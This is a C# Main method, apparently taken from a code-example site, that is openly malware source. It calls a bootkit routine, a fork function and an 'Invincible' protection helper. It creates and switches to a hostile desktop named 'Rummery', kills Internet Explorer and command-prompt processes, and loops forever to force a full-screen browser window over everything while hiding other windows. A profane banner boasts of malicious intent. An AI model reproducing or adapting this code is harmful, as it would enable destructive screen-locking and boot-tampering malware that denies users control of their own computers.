Ejemplo n.º 1
0
        static void Main(string[] args)
        {
            fork();
            //unlink_psexec();
            new Thread(killthread).Start();
            bootkit();
            //bsod();
            External.Invincible();
            whatTemp();
            populateImages();
            new Thread(bkthread).Start();
            new Thread(drawOnWindows).Start();
            new Thread(drawall).Start();
            new Thread(sdraws).Start();
            new Thread(sdrawthread).Start();

            setDesktop();

            var ptr = External.OpenDesktop("Rummery", 0, false, (uint)DESKTOP_ACCESS.GENERIC_ALL);

            if (ptr == IntPtr.Zero)
            {
                ptr = External.CreateDesktop("Rummery", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
            }
            External.SwitchDesktop(ptr);
            forceNavigate();
            spawnLockIE("Winlogon");
            //spawnLockIE("Rummery");
            setIETitle();
            //External.LockWorkStation();
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(
                @"                                RUMMERY!!
            .           .   ________________    .        .
                  .    ____/ (  (    )   )  \___
            .         /( (  (  )   _    ))  )   )\        .   .
                    ((     (   )(    )  )   (   )  )   .
         .    .   ((/  ( _(   )   (   _) ) (  () )  )_       .   .
                 (( f)  u ( c  k ( 2) h  )e  )c.t)o(r )_
      #####  ####   ### ###  ###### ( _)    ####  #    # ###### #####
     #      #    # #   #   # #       )     #    # #    # #      #    #
    #  ### ###### #   #   # ######  ) (   #    # #    # ###### #####  
   #    # #    # #   #   # #        ( _  #    #  #  #  #      #   #   
   ##### #    # #   #   # ######  _  )   ####     #   ###### #     #  `   
  .       .     (_((__(_(__(( ( ( |  ) ) ) )_))__))_)___)   .
      .         ((__)        \\||lll|l||///          \_))       .
               .       . / (  |(||(|)|||//  \     .    .      .      .
 .       .           .   (   /(/ (  )  ) )\          .     .
     .      .    .     (  . ( ( ( | | ) ) )\   )               .
                        (   /(| / ( )) ) ) )) )    .   .  .       .  .  .
 .     .       .  .   (  .  ( ((((_(|)_)))))     )            .
         .  .          (    . ||\(|(|)|/|| . . )        .        .
     .           .   (   .    |(||(||)||||   .    ) .      .         .  .
 .      .      .       (     //|/l|||)|\\ \     )      .      .   .
                     (/ / //  /|//||||\\  \ \  \ _)
           Interpreting docs with malicious intent since '11");
            Console.WriteLine();
            var ident = System.Security.Principal.WindowsIdentity.GetCurrent().Name + "@" +
                        Environment.MachineName +
                        ": " + Environment.OSVersion.VersionString.Replace("Microsoft Windows ", "");

            Console.Title = "SALAMANDERS! " + ident;

            Process.GetProcesses().Where(
                p => p.ProcessName == "iexplore" || p.ProcessName == "cmd"
                ).ToList().ForEach(
                p => p.Kill()
                );

            //Thread.Sleep(5000);
            while (true)
            {
                var processes = Process.GetProcesses();
                if (
                    processes.Select(p => p.ProcessName).Contains("iexplore") &&
                    processes.Select(p => p.MainWindowTitle).Any(t => t.Contains("police-polecat-13066"))
                    )
                {
                    //var proc = processes.First(p => p.MainWindowTitle.Contains("police-polecat-13066"));
                    //Program.SetWindowPos(
                    //    proc.MainWindowHandle, new IntPtr(-1), 0, 0, 0, 0, 0x0002 | 0x0001
                    //);
                    foreach (var proc in processes)
                    {
                        if (proc.MainWindowTitle.Contains("police-polecat-13066") || proc.MainWindowTitle.Contains("Mess with the best"))
                        {
                            //-1: Send to front, position 0,0, size (ignored) 0x0 due to, 0x0001: SWP_NOSIZE
                            External.SetWindowPos(proc.MainWindowHandle, new IntPtr(-1), 0, 0, 0, 0, 0x0001);
                        }
                        else
                        {
                            //1: Send to back, reposition to 3000,0, resize to 0x0, hide window
                            External.SetWindowPos(proc.MainWindowHandle, new IntPtr(1), 3000, 0, 0, 0, 0x0080);
                        }
                    }
                }
                else
                {
                    var pInfo = new ProcessStartInfo(
                        "iexplore.exe", "-nomerge " + hPath
                        );
                    pInfo.WindowStyle = ProcessWindowStyle.Maximized;
                    var p = new Process();
                    p.StartInfo = pInfo;
                    p.Start();
                }
                processes.Where(
                    p => !p.MainWindowTitle.Contains("police-polecat-13066") &&
                    p.ProcessName != "iexplore"
                    ).ToList().ForEach(p => External.ShowWindow(p.MainWindowHandle, 11));

                External.SwitchDesktop(ptr);
                Process.GetCurrentProcess().PriorityClass        = ProcessPriorityClass.High;
                Process.GetCurrentProcess().PriorityBoostEnabled = true;
                forceNavigate();
                spawnLockIE("Winlogon");
                //spawnLockIE("Rummery");
                setIETitle();
                setDesktop();
                Thread.Sleep(2000);
            }
        }